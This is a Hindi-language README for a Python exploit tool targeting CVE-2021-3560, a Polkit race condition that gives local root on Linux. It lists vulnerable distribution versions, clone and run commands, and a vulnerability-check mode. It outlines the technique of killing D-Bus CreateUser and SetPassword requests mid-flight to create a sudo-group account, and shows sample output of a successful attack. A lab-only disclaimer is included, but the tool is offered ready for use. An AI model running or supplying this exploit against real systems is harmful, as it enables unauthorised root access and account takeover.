
CVE-2021-3560 Polkit स्थानीय विशेषाधिकार वृद्धि भेद्यता के लिए एक्सप्लॉइट
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
लिनक्स सिस्टम पर PolicyKit (Polkit) को प्रभावित करने वाली CVE-2021-3560 भेद्यता के लिए एक स्वचालित शोषण।
⚠️ चेतावनी: यह उपकरण केवल नियंत्रित प्रयोगशाला वातावरण में शैक्षिक और साइबर सुरक्षा प्रशिक्षण उद्देश्यों के लिए है। इस शोषण का उन सिस्टम पर अनधिकृत उपयोग जिनके आप मालिक नहीं हैं, अवैध है।
CVE-2021-3560 PolicyKit (polkit) में एक स्थानीय रेस कंडीशन भेद्यता है जो एक अनप्रिविलेज्ड उपयोगकर्ता को भेद्य लिनक्स सिस्टम पर रूट विशेषाधिकार प्राप्त करने की अनुमति देती है।
यह भेद्यता Polkit की दो शाखाओं को अलग-अलग संस्करण संख्या के साथ प्रभावित करती है:
bfa5036 (संस्करण 0.113)f81d021 (संस्करण 0.105-26)| वितरण | Polkit संस्करण | भेद्य? |
|---|---|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ हाँ |
| Ubuntu 18.04 | 0.105-20 | ❌ नहीं |
| Debian testing "bullseye" | 0.105-31+ | ✅ हाँ |
| Debian 10 "buster" | 0.105-25 | ❌ नहीं |
| RHEL 8 | 0.115-11+ | ✅ हाँ |
| RHEL 7 | < 0.113 | ❌ नहीं |
| Fedora 21+ | 0.113+ | ✅ हाँ |
| Fedora 20 और पहले | < 0.113 | ❌ नहीं |
📝 नोट: जिन सिस्टम पर सुरक्षा पैच लागू हैं (जैसे ubuntu1.1, deb10u1) वे भेद्य नहीं हैं।
शोषण के लिए निम्नलिखित उपकरणों की आवश्यकता है (स्वचालित रूप से सत्यापित):
- dbus-send # D-Bus के साथ संवाद करने के लिए
- pkexec # PolicyKit का हिस्सा
- id # उपयोगकर्ता निर्माण सत्यापित करने के लिए
- openssl # पासवर्ड हैश उत्पन्न करने के लिए
- accountsservice # स्थापित और सक्रिय होना चाहिए
# रिपॉजिटरी क्लोन करें (या फ़ाइल डाउनलोड करें)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# स्क्रिप्ट को निष्पादन योग्य बनाएँ
chmod +x CVE-2021-3560_Polkit.py
जांचें कि सिस्टम शोषण चलाए बिना भेद्य है या नहीं:
python3 CVE-2021-3560_Polkit.py --check
उदाहरण आउटपुट:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
एक विशेषाधिकार प्राप्त उपयोगकर्ता बनाएँ:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
उदाहरण:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help सहायता दिखाएँ
-u, --username बनाने के लिए उपयोगकर्ता नाम
-p, --password नए उपयोगकर्ता के लिए पासवर्ड
-c, --check शोषण के बिना भेद्यता जांचें
यह शोषण D-Bus अनुरोध प्रसंस्करण के दौरान PolicyKit में एक रेस कंडीशन का शोषण करता है।
┌─────────────────────────────────────────────────────────┐
│ 1. इष्टतम समय मापन │
│ └─> समय को कैलिब्रेट करने के लिए परीक्षण निष्पादन │
├─────────────────────────────────────────────────────────┤
│ 2. शोषण: उपयोगकर्ता निर्माण │
│ └─> D-Bus CreateUser अनुरोध भेजें │
│ └─> सटीक क्षण पर प्रक्रिया को मारें (रेस कंडीशन) │
│ └─> जांचें कि उपयोगकर्ता बना या नहीं │
├─────────────────────────────────────────────────────────┤
│ 3. पासवर्ड हैश उत्पादन │
│ └─> openssl passwd -6 का उपयोग करके │
├─────────────────────────────────────────────────────────┤
│ 4. शोषण: पासवर्ड सेट करना │
│ └─> D-Bus SetPassword अनुरोध भेजें │
│ └─> सटीक क्षण पर प्रक्रिया को मारें (रेस कंडीशन) │
│ └─> पासवर्ड के साथ लॉगिन परीक्षण करें │
├─────────────────────────────────────────────────────────┤
│ 5. विशेषाधिकार वृद्धि │
│ └─> बनाए गए खाते से लॉगिन करें │
│ └─> sudo समूह का सदस्य होने पर sudo का उपयोग करें │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝